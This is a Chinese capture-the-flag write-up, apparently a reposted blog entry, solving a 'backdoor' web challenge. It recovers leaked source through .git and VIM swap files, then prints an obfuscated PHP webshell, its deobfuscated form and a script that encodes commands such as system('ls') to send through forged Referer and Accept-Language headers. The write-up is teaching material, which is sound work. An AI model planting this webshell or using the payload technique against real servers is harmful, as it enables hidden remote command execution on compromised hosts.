writeUp-ichunqiu-百度杯十月backdoor

  1
  2 题目提示是文件泄露
  3 
  4 先打开网站,看看源码看看目录  5  6 扫目录,扫出  7 flag.php  8 index.php  9 robots.txt  10  11 ---尝试各种文件泄露---  12 VIM文件泄露  13 .bak(备份)  14 还有各种版本控制系统的文件泄露  15  16 尝试后发现是.git泄露  17 --- ---  18  19 开工具(这里用的是dvcs-ripper)  20 #不知道工具怎么办?  21 #网上全是资源  22 #有 Githack , SourceleakageHAcker , dvcs-ripper , dirseach 等......  23  24 扫出来发现flag.php被编辑过(用GitBash diff命令 查看文件日志的不同(没错就是那些很长文件名的文件))  25 看到之前有  26 "flag{the_true_flag_is_in_the_b4ckdo0r.php}"  27  28 于是访问b4ckdo0r.php  29 ---看到---  30 can you find the source code of me?  31 --- ---  32 尝试各种方法  33  34 发现有VIM文件泄露( .[文件名(包括后缀名)].swx )  35 # 注意: x ^(这个) 取决于VIM自动备份的次数 第一次是p 第二次是o ......  36  37 发现是(.b4ckdo0r.php.swo)  38 用VIM(或VI)恢复文件 看到源码  39  40 ---code---  41 <?php  42 echo "can you find the source code of me?";  43  44 /* Signature For Report  45 */$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($_SESSION[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/*  46 */$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/*  47 */$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/*  48 */$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/*  49 */$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/*  50 */$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$_SESSION)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($_SESSION[$i],$f);)mif(';/*  51 */$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$_SESSION)m';/*  52 */$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=strtolower()msubstr(m)md5($)mi.$kh)m),0,)m3));$f=$_SESSION)ml(substr()m)mmd5($i.$kf),0,3';/*  53 */$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/*  54 */$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";strtolower="s)m';/*  55 */$y=str_replace('b','','crbebbabte_funcbbtion'); /$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/*  56 */$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/*  57 */$v=$y('',$L);/*  58 */ $v();/*  59 */  60 ?>  61  62 --- ---  63  64  65 实际上就是create了一个function,然后执行它  66  67  68 整理之后看到代码(代码注释里有解析,一定要看)  69  70  71 ++++code++++  72  73 <?php  74 echo "can you find the source code of me?";  75 #没啥用的一句  76  77 $kh="4f7f";  78 $kf="28d7";  79 function x($t,$k)  80 {  81 $c=strlen($k);  82 $l=strlen($t);  83 $o="";  84 for($i=0;$i<$l;)  85  {  86 for($j=0;($j<$c&&$i<$l);$j++,$i++)  87  {  88 $o.=$t{$i}^$k{$j};  89 #按位异或  90  }  91  }  92 return $o;  93 }  94 #函数功能:两个字符串按位异或一直到$t被异或完为止  95 /*  96 按位异或函数的特性  97 若C==A^B  98 则B^C==A,A^C==B  99 所以若已知$o,$k 100 则可写个函数求出$t 101 而且这个函数就是 x 102 只不过输入($t)的位置换成了$o 103 输出就是我们想要的结果($t) 104 */ 105 $r=$_SERVER; 106 $rr=@$r["HTTP_REFERER"]; 107 #HTTP_REFERER : 用户前一个浏览的网站的URL,容易在抓包工具(bp,wireshark等......)中伪造(改referer) 108 #找到一个可控变量★ 109 110 $ra=@$r["HTTP_ACCEPT_LANGUAGE"]; 111 #HTTP_ACCEPT_LANGUAGE : 112 /* 113  Accept-Language: zh-cn,zh;q=0.5 114   意思:浏览器支持的语言分别是简体中文和中文,优先支持简体中文。 115   详解: 116   Accept-Language表示浏览器所支持的语言类型; 117   zh-cn表示简体中文;zh 表示中文; 118   q是权重系数,范围 0 =< q <= 1,q 值越大,请求越倾向于获得其“;”之前的类型表示的内容,若没有指定 q 值,则默认为1,若被赋值为0,则用于提醒服务器哪些是浏览器不接受的内容类型。  119 */ 120 #想了解更多关于$_SERVER的可以去找 121 #又一个可控变量★ 122 123 if($rr&&$ra) 124 # ^ 都不为空 (详情可以看php的bool类型) 125  { 126 $u=parse_url($rr); 127 /* 128  本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。 129 130  例子: 131  --code-- 132  <?php 133  $url = 'http://username:password@hostname/path?arg=value#anchor'; 134 135  print_r(parse_url($url)); 136 137  echo parse_url($url, PHP_URL_PATH); 138  ?> 139  -- -- 140 141  --result-- 142 143  Array 144  ( 145  [scheme] => http 146  [host] => hostname 147  [user] => username 148  [pass] => password 149  [path] => /path 150  [query] => arg=value 151  [fragment] => anchor 152  ) 153  /path 154  -- -- 155 156 */ 157 158 159 parse_str($u["query"],$q); 160 161 162 /* 163  parse_str(string,array) 函数把查询字符串解析到变量中。 164  string 必需。规定要解析的字符串。 165  array 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。 166  例子: 167  --code-- 168  <?php 169  parse_str("name=Bill&age=60",$myArray); 170  print_r($myArray); 171  ?> 172  -- -- 173  --result-- 174  Array ( [name] => Bill [age] => 60 ) 175  -- -- 176 */ 177 178 $q=array_values($q); 179 #array_values() 函数返回一个包含给定数组中所有键值的数组,但不保留键名。(返回值是数组)被返回的数组将使用数值键,从 0 开始并以 1 递增。 180 preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m); 181 /* 182  preg_match_all ( string $pattern , string $subject [, array &$matches [, int $flags = PREG_PATTERN_ORDER [, int $offset = 0 ]]] ) 183  搜索 subject 中所有匹配 pattern 给定正则表达式的匹配结果并且将它们以 flag 指定顺序输出到 matches 中。 184  在第一个匹配找到后, 子序列继续从最后一次匹配位置搜索。 185  参数说明:(参数前面标注了参数的类型) 186  $pattern: 要搜索的模式,字符串形式。 187  $subject: 输入字符串。 188  $matches: 多维数组,作为输出参数输出所有匹配结果, 数组排序通过flags指定。 189  $flags:可以结合下面标记使用(注意不能同时使用PREG_PATTERN_ORDER和 PREG_SET_ORDER): 190  PREG_PATTERN_ORDER: 结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配,以此类推。 191  PREG_SET_ORDER: 结果排序为$matches[0]包含第一次匹配得到的所有匹配(包含子组), $matches[1]是包含第二次匹配到的所有匹配(包含子组)的数组,以此类推。 192  PREG_OFFSET_CAPTURE: 如果这个标记被传递,每个发现的匹配返回时会增加它相对目标字符串的偏移量。 193  offset: 通常, 查找时从目标字符串的开始位置开始。可选参数offset用于 从目标字符串中指定位置开始搜索(单位是字节)。 194  正则表达式(php): 195  / / : 这是PHP表示正则表达式时用的(表示里面的东西是正则表达式) 196  ( ) : 表示匹配子表达式 197  [ ] : 包含(默认为一个字符长度) 198  [^ ] : 不包含(默认是一个字符长度) 199  ? : 匹配前面的子表达式零次或一次。 200  ? : 当该字符紧跟在任何一个其他限制符(*,+,?,{n},{n,},{n,m})后面时,匹配模式是非贪婪的。 201  非贪婪模式尽可能少地匹配所搜索的字符串,而默认的贪婪模式则尽可能多地匹配所搜索的字符串。 202  * : 匹配前面的子表达式任意次。 203  + : 匹配前面的子表达式一次或多次(大于等于1次)。 204  \ : 将下一个字符标记符、或一个向后引用、或一个八进制转义符。 205  例如,“\\n”匹配\n。“\n”匹配换行符。序列“\\”匹配“\”而“\(”则匹配“(”。即相当于多种编程语言中都有的“转义字符”的概念。 206  ^ : 匹配输入字行首。 207  $ : 匹配输入行尾。 208  (?:pattern) : 非获取匹配,匹配pattern但不获取匹配结果,不进行存储供以后使用。 209  \w : 等价于[A-Za-z_0-9] 26个大写字母、26个小写字母和0至9数字 210 211 212  不要以为 [\w-] 是什么别的东西 它就只匹配[A-Za-z_0-9]或"-" 罢了 (等效于[\w | -]) 213  ";"还有","也是如此只是普通的字符而已 214 215 216 */ 217 218 if($q&&$m) 219 # ^ 与上面的一样 220  { 221 @session_start(); 222 #开始一个会话 223 $i=$m[1][0].$m[1][1]; 224 225 $h=strtolower(substr(md5($i.$kh),0,3)); 226 # strtolower : 输出转化为小写 227 # substr($s ,$n ,$m ) : 从$n开始截取字符串,截取长度为$m($m可选,若不输入$m则截取至最后一位) 228 $f=strtolower(substr(md5($i.$kf),0,3)); 229 $p=""; 230 for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]]; 231 if(strpos($p,$h)===0) 232 # strpos($p,$h) : 返回在字符串$p中字符串$h出现的位置 233  { 234 $_SESSION[$i]=""; 235 $p=substr($p,3); 236  } 237 # 238 if(array_key_exists($i,$_SESSION)) 239 #array_key_exists($key,$array) : 检查在数组$array中是否存在名为字符串$key的键,返回值为True或False 240  { 241 $_SESSION[$i].=$p; 242 $e=strpos($_SESSION[$i],$f); 243 if($e) 244  { 245 $k=$kh.$kf; 246 ob_start(); 247 /* 248  ob_start([string output_callback]) 249  打开输出缓冲区,所有的输出信息不在直接发送到浏览器,而是保存在输出缓冲区里面,可选得回调函数用于处理输出结果信息。 250  ob_end_flush 251  结束(发送)输出缓冲区的内容,关闭输出缓冲区。 252  php 输出东西,会保存在一个 php 维护的内存里,称为 buffer 也行,缓存也行,都是一个意思。 253  然后当这个 buffer 满了,php 会自动往 web server 发送这些数据。 254  也就是说每次 echo,并不一定会输出东西,而是保存在 buffer 里。 255  ob_start() 的意思,可以理解为(但是实际上和我下面的说法有区别)。 256  这个 buffer 由 ob_ 系列函数来来控制,也就是,PHP 不会维护自己的 buffer,不会自动把buffer 的内容自动发送到 web server。 257  直到你 ob_end() 或者类似的 ob 操作。 258  ob_函数一般用来捕获当前的输出,跟效率是没什么关系的。至于为什么捕获输出,原因很多。 259  例如我捕捉输出,缓存到一个文件里,下次请求就可以直接读这个  cache 文件的内容作为输出了。 260 261 262  ob_get_contents() - 返回输出缓冲区的内容 263  ob_end_clean() - 清空(擦除)缓冲区并关闭输出缓冲 264 265 */ 266 @eval( 267 @gzuncompress( 268 @x( @base64_decode( 269 preg_replace( array("/_/","/-/") , array("/","+") , substr($_SESSION[$i],0,$e) ) 270  ) 271 , $k ) 272  ) 273  ); 274 /* 275 276  gzcompress() : 压缩函数 277  gzuncompress() : 解压缩函数 278  eval() : 执行括号里的语句 279  x() : 前面已定义 280  preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) 281  搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。 282  参数说明: 283  $pattern: 要搜索的模式,可以是字符串或一个字符串数组。 284  $replacement: 用于替换的字符串或字符串数组。 285  $subject: 要搜索替换的目标字符串或字符串数组。 286  $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。 287  $count: 可选,为替换执行的次数。 288 289 */ 290 $o=ob_get_contents(); 291 ob_end_clean(); 292 $d=base64_encode( x(gzcompress($o),$k)); 293 print("<$k>$d</$k>"); 294 @session_destroy(); 295  } 296  } 297  } 298  } 299 ?> 300 301 ++++ ++++ 302 303 304 解密思路: 305 306 先分析这个代码中我们可直接控制的变量有哪些 307 $rr 308 $ra 309 (代码中两个标★的地方) 310 311 然后分析: 312 通过控制$rr可以控制$q,通过$ra可以部分控制$m 313 我们实践操作一下控制$m 314 315 在本地写个测试代码: 316 <?php 317 $ra=$_GET["ra"]; 318 preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m); 319 print_r($m); 320 ?> 321 322 知道$m就可以知道$i 323 便可以得知$h,$f 324 因为可以控制$q,$m 325  所以可以一路干到eval这里 326  现在只要让服务器执行我的代码就行了 327 328 <?php 329 $kh="4f7f"; 330 $kf="28d7"; 331 function x($t,$k) 332  { 333 $c=strlen($k); 334 $l=strlen($t); 335 $o=""; 336 for($i=0;$i<$l;) 337  { 338 for($j=0;($j<$c&&$i<$l);$j++,$i++) 339  { 340 $o.=$t{$i}^$k{$j}; 341  } 342  } 343 return $o; 344  } 345 ////////////////////////////////////////////////////////////////////// 346 $k="4f7f28d7"; 347 $pay=' system("ls"); '; 348 //$pay=' system("dir"); '; 349 $o=@x(@gzcompress($pay),$k); 350 $b=base64_encode($o); 351 $p=preg_replace( array("/\//","/\+/") , array("_","-"),$b ); 352 print_r($p); 353 echo "<br>"; 354 $response="这里输入浏览器的返回值"; 355 ///////////////////////////////////////////////////////////////////// 356 echo "<br>"; 357 echo @gzuncompress(@x( @base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$respo ) ), $k )); 358 ?> 359 36361 362 至于payload: 363 HTTP-Accept-language"EN-US;q=0.3,KN-H;q=0.0,KL-FG;q=0.0" 364 referer: localhost/phpProjects/b4ckdo0rScript.php?id=df3{TPpkLn_2rGBkUZ9WmghSBQXgdRNZODUAMYg=}6bb 365 # ^ 花括号里是脚本的输出,实际花括号不用打 366 367  执行命令扫出flag 368 游戏结束

猜你喜欢

转载自www.cnblogs.com/cloud-tree/p/11566680.html